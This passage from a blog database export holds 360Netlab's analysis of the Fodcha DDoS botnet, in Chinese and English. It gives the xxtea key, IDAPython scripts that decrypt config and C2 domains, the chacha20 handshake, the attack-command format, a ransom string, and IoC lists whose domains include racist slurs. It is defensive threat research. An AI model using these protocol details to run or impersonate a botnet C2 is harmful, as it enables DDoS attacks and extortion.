Neutrality\"特性,通过绕开ICANN的域名体系,从根本上消除C2被监管&接管的可能性,因此Fodcha在V2.X引入OpenNic C2,并将其做为主C2。\n\n与此同时,OpenNIC C2可能存在一些问题,比如OpenNIC的NameServer在某些地区可能无法访问,或者域名解析上存在效率或稳定性的问题。出于健壮性的考虑,Fodcha作者在V3之 后重新加入ICANN C2作为后备C2,与主C2构成冗余结构。\n\n\n\n### 0x3: 建立通信\n\nFodcha Bot通过又下代码片段和C2建立连接,一共有个22个端口。\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_establishConn.png\" width=\"860px\" /> \n\n\n\n当成功和C2建立连接后,Bot与C2必须经过3个阶段的交互,才能真正建立通信。\n\n* 阶段1:Bot向C2请求chacha20加密算法的的key&nonce。\n* 阶段2:Bot与C2使用阶段1的key&nonce进行身份确认。\n* 阶段3:Bot将加密后的上线&分组信息发往C2。\n\n为了辅助分析,我们在受限的环境内运行了Bot样本,并使用`fsdsaD`做为分组字串,产生了下图所示的网络流量,下文将详细介绍此流量是如何生成的。\n\n\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_prapacket.png\" width=\"860px\" /> \n\n### 阶段1:Bot ---> C2 ,格式为head(7 bytes) + body( random 20-40 bytes)\n\nBot主动向C2发送**netstage=6**的初始化消息,这个消息的格式为head+body,各字段含义如下所示:\n\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_netStageOneb2c.png\" width=\"860px\" /> \n\n#### head\n\nhead的长度为7 bytes,格式如下所示:\n\n```\n06 \t\t---->netstage,1byte,06 means init\nf0 70 ---->tcpip checksum, 2byte, \n00 16\t\t---->length of body, 2 bytes\n```\n\n#### checksum\n\nhead中的checksum使用的是tcp/ip的checksum,它计算对象为整个payload,checksum所在偏移的原始值为\"\\x00\\x00\",checksum的python实现如下所示: \n\n```python\ndef checksum(data):\n s = 0\n n = len(data) % 2\n for i in range(0, len(data)-n, 2):\n s+= ord(data[i]) + (ord(data[i+1]) << 8)\n if n:\n s+= ord(data[-1])\n while (s >> 16):\n s = (s & 0xFFFF) + (s >> 16)\n s = ~s & 0xffff\n return s\n\nbuf=\"\\x06\\x00\\x00\\x00\\x00\\x00\\x16\\x36\\x93\\x93\\xb7\\x27\\x5c\\x9a\\x2a\\x16\\x09\\xd8\\x13\\x32\\x01\\xd2\\x69\\x1d\\x25\\xf3\\x42\\x00\\x32\"\nprint(hex(checksum(buf)))\n\n#hex(checksum(buf))\n#0x70f0\n```\n\n#### body\n\nbody为随机生成的内容,无意义。\n\n```\n00000000 36 93 93 b7 27 5c 9a 2a 16 09 d8 13 32 01 d2 69\n00000010 1d 25 f3 42 00 32\n```\n\n\n\n\n\n### 阶段1:C2--->Bot,共2轮 \n\n当C2收到Bot的**netstage=6**的消息后,就会向BOT发送2轮的数据。\n\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_netStageOne.png\" width=\"860px\" /> \n\n* 第一轮,36 bytes , 原信息被xxtea加密,解密后作为chacha20的key,长度为32bytes \n\n ```python\n import hexdump\n import xxtea\n key=b\"PJbiNbbeasddDfsc\"\n keyBuf=bytes.fromhex(\"806d8806cd5460d8996339fbf7bac34ba1e20f792872ba0e05d096ad92a5535e60e55b8d\")\n chaKey=xxtea.decrypt(keyBuf,key)\n hexdump.hexdump(chaKey)\n \n #chaKey\n 00000000: E6 7B 1A E3 A4 4B 13 7F 14 15 5E 99 31 F2 5E 3A\n 00000010: D7 7B AB 0A 4D 5F 00 EF 0C 01 9F 86 94 A4 9D 4B\n \n ```\n\n \n\n* 第二轮,16 bytes,原信息被xxtea加密,解密后作为chacha20的nonce,长度12bytes\n\n ```python\n import hexdump\n import xxtea\n key=b\"PJbiNbbeasddDfsc\"\n nonBuf=bytes.fromhex(\"22c803bb310c5b2512e76a472418f9ee\")\n chaNonce=xxtea.decrypt(nonBuf,key)\n hexdump.hexdump(chaNonce)\n \n #chaNonce\n 00000000: 98 79 59 57 A8 BA 7E 13 59 9F 59 6F\n ```\n\n \n\n### 阶段2:Bot--->C2,chacha20加密\n\nBot收到chacha20的key和nonce后,就向C2发送**netstage=4**的消息,此次消息使用chacha20加密,key&nonce由上一阶段获得,加密的轮数为1。\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_netStageTwob2c.png\" width=\"860px\" /> \n\n\n我们可以使用下面的python代码可以解密上面的流量,\n\n```\nfrom Crypto.Cipher import ChaCha20\ncha=ChaCha20.new(key=chaKey,nonce=chaNonce)\ncha.seek(64)\ntmp=bytes.fromhex('dc23c56943431018b61262481ce5a219da9480930f08714e017edc56bf903d32ac5daeb8314f1bf7e6')\nrnd3=cha.decrypt(tmp)\n```\n\n解密后的流量如下所示,它的格式依然是前文所述的head(7 bytes)+body,其中head的netstage字段的值为04,代表身份认证。\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_netplainb2c.png\" width=\"860px\" /> \n\n\n### 阶段2:C2--->Bot,chacha20加密\n\nC2在收到Bot的身份认证消息后,也向Bot的数据发送**netstage=4**的消息,同样使用chacha20加密,且key,nonce,轮数和Bot使用的是一样的。\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_netStageTwoc2b.png\" width=\"860px\" /> \n\n\n使用和Bot相同的代码解密流量,可以看出它的格式也是head+body,netstage的值也为04。\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_netplainc2b.png\" width=\"860px\" /> \n\n\n在Bot和C2互发**netstage=4**的消息之后,代表阶段1的chacha20 key&nonce被双方认可,彼此的身份认证完成,Bot进入下一阶段准备上线。\n\n### 阶段3:Bot--->C2,共2轮,chacha加密\n\nBot向C2发送**netstage=5**的消息,表示准备上线,接着再自己的分组信息上报给C2,这2轮消息也使用chacha20加密。\n\n* 第一轮\n <img src=\"__GHOST_URL__/content/images/2022/10/fodcha_netStageThrReg.png\" width=\"860px\" /> \n \n\n* 第二轮\n\n <img src=\"__GHOST_URL__/content/images/2022/10/fodcha_netStageThrGroup.png\" width=\"860px\" /> \n \n\n\n\n上述2轮的数据解密后如下所示,可以看出分组的内容正是预设的\"``fsdsaD``\",这代表我们的分析是正确的,至此Bot成功上线,开始等待执行C2下发的指令。\n\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_netplainb2cReg.png\" width=\"860px\" /> \n\n\n### 0x4:执行指令\n\nBot成功上线后,支持的netstage编号,如下所图所示,其中最重要的就是**netstage=1**代表DDoS任务,Fodcha复用了大量Mirai的攻击代码,一共支持17种攻击方法。\n\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_afterreg.png\" width=\"860px\" /> \n\n以下图的DDos_Task流量(netstage=01)为例:\n\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_taskddos.png\" width=\"860px\" /> \n\n攻击指令依然采用chacha20加密,解密后的指令如下所示,相信熟悉Mirai的读者看到此处肯定会心一笑。\n\n```\n00000000: 00 00 00 3C 07 01 xx 14 93 01 20 02 00 00 02 01\n00000010: BB 01 00 02 00 01\n```\n\n上述攻击指令的格式和解析方式如下表所示:\n\n| offset | len (bytes) | value | meaning |\n| ------ | ----------- | -------------- | -------------------------------------------------------- |\n| 0x00 | 4 | 00 00 00 3c | Duration |\n| 0x04 | 1 | 07 | Attack Vector,07 |\n| 0x05 | 1 | 1 | Attack Target Cnt |\n| 0x06 | 4 | xx 14 93 01 | Attack Target,xx.20.147.1 |\n| 0x0a | 1 | 20 | Netmask |\n| 0x0b | 1 | 02 | Option Cnt |\n| 0x0c | 5 | 00 00 02 01 bb | OptionId 0,len 2, value 0x01bb ---> (port 443) |\n| 0x11 | 5 | 01 00 02 00 01 | OptionId 1, len 2, value 0x0001---> (payload len 1 byte) |\n\n当Bot接收到上述指令,就会使用payload为1字节的tcp报文对目标xx.20.147.1:443进行DDoS攻击,这和实际抓包的流量是能对应上的。\n\n<a href=\"__GHOST_URL__/content/images/2022/10/fodcha_ddospacket.png\"><img src=\"__GHOST_URL__/content/images/2022/10/fodcha_ddospacket.png\" class=\"kg-image\"/></a>\n# 花絮\n\n### 0x01: 种族歧视\n\n从某些OpenNIC C2的构词上来说,Fodcha的作者似乎对黄种人,黑人有比较大的敌意。\n```\nyellowchinks.geek\nwearelegal.geek\nfunnyyellowpeople.libre\nchinksdogeaters.dyn\nblackpeeps.dyn\nbladderfull.indy\n\nwehateyellow\n```\n\n### 0x02: 攻击即勒索\n\nFodcha曾在其下发的UDP攻击指令中,附带以下字串:\n\n```\nsend 10 xmr to 49UnJhpvRRxDXJHYczoUEiK3EKCQZorZWaV6HD7axKGQd5xpUQeNp7Xg9RATFpL4u8dzPfAnuMYqs2Kch1soaf5B5mdfJ1b or we will shutdown your business\n```\n\nBot打出的攻击流量如下所示,该钱包地址似乎是非法的,没能给我们更多的线索,但从这一行为出发,或许Fodcha背后的运营者正在尝试攻击即勒索这种商业模式。\n<a href=\"__GHOST_URL__/content/images/2022/10/fodcha_ddosransom.png\"><img src=\"__GHOST_URL__/content/images/2022/10/fodcha_ddosransom.png\" class=\"kg-image\"/></a>\n\n# 联系我们\n感兴趣的读者,可以在 [twitter](https://twitter.com/360Netlab) 或者通过邮件netlab[at]360.cn联系我们。\n\n# 解决方案\n基于Netlab多年研究工作孵化的360全系列[DNS安全产品](https://sdns.360.net/)均已支持文中远控服务器的拦截和检测,同时内置多种算法可有效发现和拦截各种未知威胁,建议企业客户接入360 DNS安全SaaS平台或部署本地360DNS安全产品,及时防范此类新型威胁,避免企业资产失陷。联系人: wangkun-bd@360.cn\n\n# IoC\n### C2\n\n```\nyellowchinks.geek\nyellowchinks.dyn\nwearelegal.geek\ntsengtsing.libre\ntechsupporthelpars.oss\nrespectkkk.geek\npepperfan.geek\npeepeepoo.libre\nobamalover.pirate\nmilfsfors3x[.]com\nfunnyyellowpeople.libre\nfridgexperts[.]cc\nforwardchinks[.]com\nfolded[.]in\ndoodleching[.]com\ncookiemonsterboob[.]com\nchinksdogeaters.dyn\nchinkchink.libre\nbladderfull.indy\nblackpeeps.dyn\n91.206.93.243\n91.149.232.129\n91.149.232.128\n91.149.222.133\n91.149.222.132\n67.207.84.82\n54.37.243.73\n51.89.239.122\n51.89.238.199\n51.89.176.228\n51.89.171.33\n51.161.98.214\n46.17.47.212\n46.17.41.79\n45.88.221.143\n45.61.139.116\n45.41.240.145\n45.147.200.168\n45.140.169.122\n45.135.135.33\n3.70.127.241\n3.65.206.229\n3.122.255.225\n3.121.234.237\n3.0.58.143\n23.183.83.171\n207.154.206.0\n207.154.199.110\n195.211.96.142\n195.133.53.157\n195.133.53.148\n194.87.197.3\n194.53.108.94\n194.53.108.159\n194.195.117.167\n194.156.224.102\n194.147.87.242\n194.147.86.22\n193.233.253.93\n193.233.253.220\n193.203.12.157\n193.203.12.156\n193.203.12.155\n193.203.12.154\n193.203.12.151\n193.203.12.123\n193.124.24.42\n192.46.225.170\n185.45.192.96\n185.45.192.227\n185.45.192.212\n185.45.192.124\n185.45.192.103\n185.198.57.95\n185.198.57.105\n185.183.98.205\n185.183.96.7\n185.143.221.129\n185.143.220.75\n185.141.27.238\n185.141.27.234\n185.117.75.45\n185.117.75.34\n185.117.75.119\n185.117.73.52\n185.117.73.147\n185.117.73.115\n185.117.73.109\n18.185.188.32\n18.136.209.2\n178.62.204.81\n176.97.210.176\n172.105.59.204\n172.105.55.131\n172.104.108.53\n170.187.187.99\n167.114.124.77\n165.227.19.36\n159.65.158.148\n159.223.39.133\n157.230.15.82\n15.204.18.232\n15.204.18.203\n15.204.128.25\n149.56.42.246\n139.99.166.217\n139.99.153.49\n139.99.142.215\n139.162.69.4\n138.68.10.149\n137.74.65.164\n13.229.98.186\n107.181.160.173\n107.181.160.172\n```\n\n### Reporter\n```\nkvsolutions[.]ru\nicarlyfanss[.]com\n```\n### Samples\n```\nea7945724837f019507fd613ba3e1da9\n899047ddf6f62f07150837aef0c1ebfb\n0f781868d4b9203569357b2dbc46ef10\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 634fcf17071e230007cfc0e8 |
post | null | 2022-10-31T03:48:53.000Z | 63873b9a8b1c1e0007f53024 | fodcha-is-coming-back-with-rddos | 0 | 2022-10-31T14:05:50.000Z | public | published | null | 2022-10-31T14:00:00.000Z | Fodcha Is Coming Back, Raising A Wave of Ransom DDoS | <!--kg-card-begin: markdown--><h1 id="background">Background</h1>
<p>On April 13, 2022, 360Netlab first disclosed the <code>Fodcha</code> botnet. After our article was published, Fodcha suffered a crackdown from the relevant authorities, and its authors quickly responded by leaving <code>"Netlab pls leave me alone I surrender"</code> in an updated sample.No surprise, Fodcha's authors didn't really stop updating after the fraudulent surrender, and soon a new version was released.</p>
<p>In the new version, the authors of Fodcha redesigned the communication protocol and started to use <code>xxtea</code> and <code>chacha20</code> algorithms to encrypt sensitive resources and network communications to avoid detection at the file & traffic level; at the same time, a dual-C2 scheme with <code>OpenNIC domain</code> as the primary C2 and <code>ICANN domain</code> as the backup C2 was adopted.</p>
<p>Relying on the strong N-day vulnerability integration capabilities, the comeback of Focha is just as strong as the previous ones. In our data view, in terms of scale, Fodcha has once again developed into a massive botnet with more than <code>60K</code> daily active bots and <code>40+ C2 IPs</code>, we also observed it can easily launch more than 1Tbps DDos traffic; in terms of attacks, Fodcha has an average of <code>100+</code> daily attack targets and more than <code>20,000</code> cumulative attacks, on October 11, Fodcha hit its record and attacked <code>1,396</code> unique targets in that single day.</p>
<p>While Fodcha was busy attacking various targets, it has not forgot to mess with us, we saw it using <code>N3t1@bG@Y</code> in one of it scan payload.</p>
<h1 id="timeline">Timeline</h1>
<p>Backed by our <code>BotMon</code> systems, we have kept good track of Fodcha's sample evolution and DDoS attack instructions, and below are the sample evolution and some important DDoS attack events we have seen. (Note: The Fodcha sample itself does not have a specific flag to indicate its version, this is the version number we use internally for tracking purposes)</p>
<ul>
<li>
<p>On January 12, 2022, the first Fodcha botnet sample was captured.</p>
</li>
<li>
<p>April 13, 2022, Disclosure of the <a href="__GHOST_URL__/fodcha-a-new-ddos-botnet/">Fodcha</a> botnet, containing versions V1, V2.</p>
</li>
<li>
<p>April 19, 2022, captured version V2.x, using <code>OpenNIC's TLDs</code> style C2</p>
</li>
<li>
<p>April 24, 2022, version V3, using xxtea algorithm to encrypt configuration information, adding <code>ICANN's TLDs</code> style C2, adding <code>anti-sandbox</code> & <code>anti-debugging</code> mechanism.</p>
</li>
<li>
<p>June 5, 2022, version V4, using structured configuration information, <code>anti-sandboxing</code> & <code>anti-debugging</code> mechanism were removed.</p>
</li>
<li>
<p>July 7, 2022, version V4.x with an additional set of <code>ICANN C2</code>.</p>
</li>
<li>
<p>On September 21, 2022, a well-known cloud service provider was attacked with traffic exceeding <code>1Tbps</code>.</p>
</li>
</ul>
<h1 id="botnetsize">Botnet Size</h1>
<p>In April, we confirmed that the number of Fodcha's global daily live bots was about <code>60,000</code> <a href="__GHOST_URL__/fodcha-a-new-ddos-botnet/">(refer to our other article)</a>. We don’t have accurate number of the current size, but suspect that the number of current active bots has not dropped, maybe more than <code>60,000</code> now.</p>
<p>There is a positive relationship between the size of a botnet and the number of C2 IPs, and the most parsimonious view is that "the larger the botnet, the more C2 infrastructure it requires. In April, there were <code>10 c2s</code> to control the <code>60,000</code> bots; After that, we observed that the IPs corresponding to its C2 domains continued to increase. Using a simple dig command to query the latest C2 domain name <code>yellowchinks.dyn</code>, we can see it resolves to <code>44 IPs</code>.</p>
<p><a href="__GHOST_URL__/content/images/2022/10/fodcha_c2infras.png"><img src="__GHOST_URL__/content/images/2022/10/fodcha_c2infras.png" class="kg-image"/></a></p>
<p>One likely reason for this is that their botnet is so large that they need to invest more IP resources in order to have a reasonable ratio between Bots and C2s to achieve load balancing.</p>
<h1 id="ddosstatistics">DDoS Statistics</h1>
<p>More C2 IPs cost more money, and it seems that the business is good as it has been very active launching ddos attacks.We have excerpted the data from June 29, 2022 to the present, and the attack trends and target area distribution are as follows.</p>
<p><a href="__GHOST_URL__/content/images/2022/10/image--1-.png"><img src="__GHOST_URL__/content/images/2022/10/image.min-1.png" class="kg-image"/></a></p>
<p>We can see that the ddos attacks has been non-stop, and China and US have the most targets.</p>
<p>The time distribution of the attack instructions within 7 days is shown below, which shows that Fodcha launched DDoS attacks throughout 7 * 24 hours, without any obvious working time zone.</p>
<p><a href="__GHOST_URL__/content/images/2022/10/fodcha_instimezone.png"><img src="__GHOST_URL__/content/images/2022/10/fodcha_instimezone.png" class="kg-image"/></a></p>
<h1 id="sampleanalysis">Sample Analysis</h1>
<p>We have divided the captured samples into four major versions, of which V1and <code>V2</code> have been analyzed in the previous blog, here we select the latest <code>V4</code> series samples as the main object of analysis, their basic information is shown below.</p>
<pre><code>MD5: ea7945724837f019507fd613ba3e1da9
ELF 32-bit LSB executable, ARM, version 1, dynamically linked (uses shared libs), stripped
LIB: uclibc
PACKER: None
version: V4
MD5: 899047ddf6f62f07150837aef0c1ebfb
ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped
Lib: uclibc
Packer: None
Version: V4.X
</code></pre>
<p>When Fodcha's Bot executes, it will first check <code>the operating parameters</code>, <code>network connectivity</code>, <code>whether the "LD_PRELOAD" environment variable is set</code>, and <code>whether it is debugged</code>. These checks can be seen as a simple countermeasure to the typical emulator & sandbox.</p>
<p>When the requirements are met, it first decrypts the configuration information and print “snow slide” on the Console, then there are some common host behaviors, such as single instance, process name masquerading, manipulating watchdog, terminating specific port processes, reporting specific process information, etc. The following will focus on the decryption of configuration information, network communication, DDoS attacks and other aspects of Fodcha.</p>
<h2 id="decryptingconfigurationinformationconfig">Decrypting configuration information (Config)</h2>
<p>Fodcha uses a side-by-side Config organization in <code>V2.X</code> and <code>V3</code>, and a structured Config organization in <code>V4</code> and <code>V4.X</code>. The following figure clearly shows the difference.</p>
<p><a href="__GHOST_URL__/content/images/2022/10/fodcha_disconfig.png"><img src="__GHOST_URL__/content/images/2022/10/fodcha_disconfig.png" class="kg-image"/></a></p>
<p>Although the organization of Config is different, their encryption methods are the same. As we can see by the constants referenced in the code snippet below, they use the xxtea algorithm with the key <code>PJbiNbbeasddDfsc</code>.</p>
<p><a href="__GHOST_URL__/content/images/2022/10/fodcha_xxtea.png"><img src="__GHOST_URL__/content/images/2022/10/fodcha_xxtea.png" class="kg-image"/></a></p>
<p>After inversion, we wrote the following <code>IDAPYTHON</code> script to decrypt the configuration information.</p>
<pre><code># md5: ea7945724837f019507fd613ba3e1da9
# requirement: pip install xxtea-py
# test: ida7.6_python3
import ida_bytes
import xxtea
BufBase=0x1F2B0
ConfBase=0x0001F1A0
key=b"PJbiNbbeasddDfsc"
for i in range(17):
offset=ida_bytes.get_word(i*16+ConfBase+2)
leng=ida_bytes.get_word(i*16+ConfBase+4)-offset
buf=ida_bytes.get_bytes(BufBase+offset,leng)
print("index:%d, %s" %(i,xxtea.decrypt(buf,key)))
</code></pre>
<p>The decrypted Config information is shown in the following table. You can see that index 11 still retains the aforementioned "surrender" egg, index 12 is worth mentioning, as it is the reporter server address to which Fodcha reports some process-specific information.</p>
<table>
<thead>
<tr>
<th>Index</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>snow slide</td>
</tr>
<tr>
<td>1</td>
<td>/proc/</td>
</tr>
<tr>
<td>2</td>
<td>/stat</td>
</tr>
<tr>
<td>3</td>
<td>/proc/self/exe</td>
</tr>
<tr>
<td>4</td>
<td>/cmdline</td>
</tr>
<tr>
<td>5</td>
<td>/maps</td>
</tr>
<tr>
<td>6</td>
<td>/exe</td>
</tr>
<tr>
<td>7</td>
<td>/lib</td>
</tr>
<tr>
<td>8</td>
<td>/usr/lib</td>
</tr>
<tr>
<td>9</td>
<td>.ri</td>
</tr>
<tr>
<td>10</td>
<td>GET /geoip/?res=10&r HTTP/1.1\r\nHost: 1.1.1.1\r\nConnection: Close\r\n\r\n</td>
</tr>
<tr>
<td>11</td>
<td>Netlab pls leave me alone I surrender</td>
</tr>
<tr>
<td>12</td>
<td>kvsolutions.ru</td>
</tr>
<tr>
<td>13</td>
<td>api.opennicproject.org</td>
</tr>
<tr>
<td>14</td>
<td>watchdog</td>
</tr>
<tr>
<td>15</td>
<td>/dev/</td>
</tr>
<tr>
<td>16</td>
<td>TSource Engine Query</td>
</tr>
</tbody>
</table>
<h2 id="networkcommunication">Network communication</h2>
<p>Fodcha's network communication has a very fixed feature at the code level: a perpetual While loop, with switch-case processing at each stage, so that the CFG graphs generated by each version of Fodcha's network protocol processing functions are highly similar in IDA.</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_cfg.png" width="860px" />
<p>In summary, Fodcha's network communication goes through the following four steps.</p>
<ol>
<li>Decryption C2</li>
<li>DNS query</li>
<li>Establishing communication</li>
<li>Execute the command</li>
</ol>
<h3 id="0x1decryptingc2">0x1: Decrypting C2</h3>
<p>Different versions of Fodcha support different types of C2. V2.X has only 1 group of OpenNIC C2; V3 & V4 have 1 group of OpenNIC C2 and 1 group of ICANN C2; and V4.X has the most, 1 group of OpenNIC C2 and 2 groups of ICANN C2, the following diagram shows the difference very clearly.</p>
<p><a href="__GHOST_URL__/content/images/2022/10/fodcha_c2_dis.png"><img src="__GHOST_URL__/content/images/2022/10/fodcha_c2_dis.png" class="kg-image"/></a></p>
<p>Although the types & numbers of C2 are different, their processing logic is almost the same as shown in the figure below.</p>
<p>Firstly, a C2 domain name is obtained through the C2_GET function, and then the corresponding IP of C2 is obtained through the DNS_QUERY function, where the first parameter of C2_GET is the C2 ciphertext data, and the second parameter is the length, while the second parameter of DNS_QUERY implies the type of C2.</p>
<img src="__GHOST_URL__/content/images/2022/10/FODCHA_c2compose.png" width="860px" />
<p>A valid C2 domain name can be obtained through C2_GET, and its internal implementation can be divided into 2 steps.</p>
<ul>
<li>First, the C2 ciphertext data must be decrypted.</li>
<li>Then they are constructed into a legitimate domain name.</li>
</ul>
<h3 id="decryptingc2ciphertextdata">Decrypting C2 ciphertext data</h3>
<p>The C2 ciphertext data uses the same encryption method as the configuration information, i.e. xxtea, and the key is also</p>
<p><code>PJbiNbbeasddDfsc</code>. The OpenNic C2 data can be decrypted by the following simple IDAPYTHON script.</p>
<pre><code>#md5: 899047DDF6F62F07150837AEF0C1EBFB
import xxtea
import ida_bytes
import hexdump
key=b"PJbiNbbeasddDfsc"
buf=ida_bytes.get_bytes(0x0001CA6C,1568) # Ciphertext of OpenNic C2
plaintext=xxtea.decrypt(buf,key)
print(plaintext)
</code></pre>
<p>The decrypted C2 data is shown below, you can see that the C2 data consists of 2 parts, the front is the domain names, the back is the TLDs, they are separated by the "<strong>/</strong>" symbol in the red box.</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_c2plaintext.png" width="860px" />
<h3 id="constructingadomainname">Constructing a domain name</h3>
<p>Fodcha has a specific domain name construction method, and the equivalent Python implementation is shown below.</p>
<pre><code># md5: 899047ddf6f62f07150837aef0c1ebfb
# requirement: pip install xxtea-py
# test: ida7.6_python3
import xxtea
import ida_bytes
def getcnt(length):
cnt=1
while True:
cnt +=1
calc=2
for i in range(1,cnt):
calc+=2+12*i%cnt
if calc +cnt==length-1:
return cnt
key=b"PJbiNbbeasddDfsc"
buf=ida_bytes.get_bytes(0x0001CA6C,1568) # Ciphertext of OpenNic C2
plaintext=xxtea.decrypt(buf,key)
domains,tlds=plaintext.split(b'/')
domainList=domains.split(b',')
tldList=tlds.split(b',')
cnt=getcnt(len(domainList))
print("------------There're %d C2------------" %cnt)
coff=2
for i in range(0,cnt):
if i ==0:
c2Prefix=domainList[i+coff]
else:
coff+=12*i %cnt+2
c2Prefix=domainList[i+coff]
c2Tld=tldList[(cnt-i-1)*3]
print(c2Prefix + b'.' + c2Tld)
</code></pre>
<p>Taking the C2 data obtained above as input, the following 14 OpenNIC C2s are finally constructed.</p>
<pre><code>techsupporthelpars.oss
yellowchinks.geek
yellowchinks.dyn
wearelegal.geek
funnyyellowpeople.libre
chinksdogeaters.dyn
blackpeeps.dyn
pepperfan.geek
chinkchink.libre
peepeepoo.libre
respectkkk.geek
bladderfull.indy
tsengtsing.libre
obamalover.pirate
</code></pre>
<p>Readers familiar with the ICANN domain name system may think at first glance that our decryption is wrong, because the ICANN domain name system does not support these TLDs, they would be "unresolvable", but in fact they are the domain names under the OpenNIC system, OpenNIC is independent of the OpenNIC, which supports the TLDs shown in the figure below. The domain names of OpenNIC cannot be resolved by common DNS (such as <code>8.8.8.8</code>, <code>101.198.198.198</code>) and must use the specified NameServer. Readers can check out <a href="https://www.opennic.org/">OpenNIC’s official website</a> for more details.</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_opennic.png" width="860px" />
<p>Using the same method, we can get the following 4 ICANN C2s.</p>
<pre><code>cookiemonsterboob[.]com
forwardchinks[.]com
doodleching[.]com
milfsfors3x[.]com
</code></pre>
<h3 id="0x2dnslookup">0X2: DNS lookup</h3>
<p>When the C2 domain name is successfully obtained, Bot performs the domain name resolution through the function <code>DNS_QUERY</code>, its 2nd parameter is a FLAG, which implies the different processing of OpenNIC/ICANN C2, and the corresponding code snippet is shown below.</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_disdns.png" width="860px" />
<p>It can be seen that there are 2 options for the resolution of OpenNIC C2.</p>
<ul>
<li>Option 1: Request from <code>api.opennicproject.org</code> through API interface to get nameserver dynamically</li>
</ul>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_resolvns.png" width="860px" />
<ul>
<li>Option 2: Use the hard-coded nameserver shown in the figure below</li>
</ul>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_opennicHard.png" width="860px" />
<p>For ICANN C2, there is only one option, i.e., use the hard-coded nameserver shown in the figure below.</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_iccanHard.png" width="860px" />
<p>The actual resolution of C2 <code>techsupporthelpars.oss</code>, for example, is reflected in the network traffic as follows.</p>
<p><a href="__GHOST_URL__/content/images/2022/10/fodcha_opendnsexample.png"><img src="__GHOST_URL__/content/images/2022/10/fodcha_opendnsexample.png" class="kg-image"/></a></p>
<h3 id="whyuseopennicicanndualc2">Why use OpenNIC / ICANN dual C2?</h3>
<p>Fodcha's author has built a redundant OpenNIC / ICANN dual-C2 architecture, why did he do so?</p>
<p>From a C2 infrastructure perspective, after Fodcha was exposed, its C2 was added to various security lists. <code>Quad9DNS (9.9.9.9)</code>, for example, had sent a tweet about Fodcha domain traffic spike</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_quad.png" width="860px" />
<p>After Fodcha was cracked down, its author, when reselecting the C2 infrastructure, looked at the <code>DNS Neutrality</code> feature touted by OpenNIC to eliminate the possibility of C2 being regulated & taken over.</p>
<p>At the same time, OpenNIC based C2 has it own problems, such as the NameServer of OpenNIC may not be accessible in some regions, or there are efficiency or stability problems in domain name resolution. For the sake of robustness, Fodcha authors re-added ICANN C2 as the backup C2 after V3 to form a redundant structure with the main C2.</p>
<h3 id="0x3establishingcommunication">0x3: Establishing communication</h3>
<p>Fodcha Bot establishes a connection to C2 through the following code snippet, which has a total of 22 ports.</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_establishConn.png" width="860px" />
<p>Once the connection with C2 is successfully established, the Bot and C2 must go through 3 phases of interaction before communication is actually established.</p>
<ul>
<li>
<p>Stage 1: Bot requests the key&nonce of the chacha20 encryption algorithm from C2.</p>
</li>
<li>
<p>Stage 2: Bot and C2 use the key&nonce from stage 1 for identity confirmation.</p>
</li>
<li>
<p>Stage 3: Bot sends the encrypted upline & group information to C2.</p>
</li>
</ul>
<p>To aid in the analysis, we ran the Bot sample within a restricted environment and used <code>fsdsaD</code> as the packet string to generate the network traffic shown in the figure below, and the details of how this traffic was generated are described below.</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_prapacket.png" width="860px" />
<h4 id="stage1botc2formattedashead7bytesbodyrandom2040bytes">Stage 1: Bot ---> C2 ,formatted as head(7 bytes) + body( random 20-40 bytes)</h4>
<p>Bot actively sends an initialization message with <code>netstage=6</code> to C2, this message has the format of head+body, and the meaning of each field is shown below.</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_netStageOneb2c.png" width="860px" />
<h4 id="head">head</h4>
<p>The length of head is 7 bytes, and the format is shown below.</p>
<pre><code>06 ---->netstage,1byte,06 means init
f0 70 ---->tcpip checksum, 2byte,
00 16 ---->length of body, 2 bytes
</code></pre>
<h4 id="checksum">checksum</h4>
<p>checksum<br>
The checksum in head uses the tcp/ip checksum, which is calculated for the whole payload, and the original value of the checksum offset is <code>\x00\x00</code>, and the python implementation of the checksum is as follows.</p>
<pre><code class="language-python">def checksum(data):
s = 0
n = len(data) % 2
for i in range(0, len(data)-n, 2):
s+= ord(data[i]) + (ord(data[i+1]) << 8)
if n:
s+= ord(data[-1])
while (s >> 16):
s = (s & 0xFFFF) + (s >> 16)
s = ~s & 0xffff
return s
buf="\x06\x00\x00\x00\x00\x00\x16\x36\x93\x93\xb7\x27\x5c\x9a\x2a\x16\x09\xd8\x13\x32\x01\xd2\x69\x1d\x25\xf3\x42\x00\x32"
print(hex(checksum(buf)))
#hex(checksum(buf))
#0x70f0
</code></pre>
<h4 id="body">body</h4>
<p>body is a randomly generated content, meaningless.</p>
<pre><code>00000000 36 93 93 b7 27 5c 9a 2a 16 09 d8 13 32 01 d2 69
00000010 1d 25 f3 42 00 32
</code></pre>
<h4 id="stage1c2bot2rounds">Stage 1: C2-->Bot, 2 rounds</h4>
<p>When C2 receives the message <code>netstage=6</code> from Bot, it will send 2 rounds of data to BOT.</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_netStageOne.png" width="860px" />
<ul>
<li>
